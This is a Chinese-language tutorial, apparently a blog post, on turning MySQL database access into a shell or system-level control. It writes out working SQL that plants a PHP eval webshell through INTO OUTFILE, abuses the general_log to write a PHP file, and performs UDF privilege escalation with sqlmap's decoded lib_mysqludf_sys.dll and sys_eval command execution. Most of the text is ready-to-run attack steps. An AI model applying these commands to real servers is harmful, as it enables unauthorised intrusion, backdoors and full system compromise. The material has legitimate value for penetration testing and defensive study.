MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
本次分享将在获取mysql数据库权限的情况下怎么去获取更高的权限。
0x01 导入文件getshell
在获取到数据库权限时,最常用的就是通过mysql的file系列函数来进行读取敏感文件或者写入webshell,其中比较常用的函数有以下三个
into dumpfile()
into outfile()
load_file()
前置条件:
需要关闭secure_file_priv,在MySQL配置文件中写入secure_file_priv=' '
SHOW VARIABLES LIKE "secure_file_priv"; //查看secure_file_priv权限secure_file_prive=null // 限制mysqld 不允许导入导出secure_file_priv=/tmp/ //限制mysqld的导入导出只能发生在/tmp/目录下secure_file_priv=' ' //不对mysqld 的导入 导出做限制select '<?php @eval($_POST[1])?>' into outfile 'D:/phpstudy_pro/WWW/test.php'//在指定目录下写入可执行文件
0x02 日志功能getshell
mysql 5.0版本以上会创建日志文件,修改日志的全局变量,也可以getshell。但是也要对生成的日志有可读可写的权限。
show variables like '%general%'; //查询日志状态SET GLOBAL general_log='on' //开启日志状态SET GLOBAL general_log_file='D:/phpstudy_pro/www/test.php' //设置日志文件位置SELECT '<?php phpinfo();?>' //写入代码
0x03 udf提权
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,利用条件:
1、Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的。lib\plugin文件夹下。
2、Mysql版本小于5.1版本。udf.dll文件放置于c:\windows\system32。
3、需要关闭secure_file_priv。
4、对相应目录有写入权限。
首先,需要获取到udf提权的dll文件,sqlmap提供了现成的dll文件,在sqlmap\udf\mysql目录下,选择相应的系统版本和MySQL位数的文件。
由于文件被异或编码存放的,还需要进行解码,解码文件在sqlmap\extra\cloak目录下。
py -2 .\cloak.py -d -i H:\st\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll_
后续需要将dll文件上传到服务器指定目录下,创建函数进行提权
select @@plugin_dir //查找mysql目录create table mysql.b(cmd LONGBLOB); //创建表insert into mysql.b(cmd) values (hex(load_file('H:\st\sqlmap\udf\mysql\windows\64\lib_mysqludf_sys.dll')));//将dll文件中的内容hex编码放入表中SELECT unhex(cmd) FROM mysql.b INTO DUMPFILE 'D:/phpstudy_pro/Extensions/MySQL5.7.26/lib/plugin/uu.dll';//将表中内容写入到指定文件中 create function sys_eval returns string soname 'uu.dll'; //使用sys_eval函数命令执行 select sys_eval('whoami');